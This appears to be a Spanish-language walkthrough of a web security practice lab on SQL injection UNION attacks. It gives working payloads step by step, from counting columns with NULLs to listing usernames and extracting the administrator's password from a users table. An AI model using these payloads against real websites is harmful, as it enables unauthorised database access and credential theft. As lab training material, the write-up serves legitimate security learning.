

8 Lab SQL injection UNION attack, retrieving multiple values in a single column

Primero debemos saber cual es el número de columnas que existen, para ellos utilizamos el método de NULL:

```
``UNION+SELECT+NULL,+NULL,+NULL...
```

Observamos que tenemos 2 columnas (ya que al poner el tercer NULL nos da error), por lo que vamos a ver la columna que nos reporta información:

```
``UNION+SELECT+NULL,+'a'
```

Vemos que es la segunda columna:

por lo que vamos a utilizar la siguiente inyección para sacar el nombre de los usuarios sabiendo que la tabla se llama users y la columna username:

```
''UNION+SELECT+NULL,+username+FROM+users
```

Observamos que nos reporta diferentes nombres:

Como queremos saber la contraseña del usuario administrator vamos a optar por la siguiente sentencia para filtrar mejor:

```
```UNION+SELECT+NULL,password+FROM+users+WHERE+username='administrator'
```
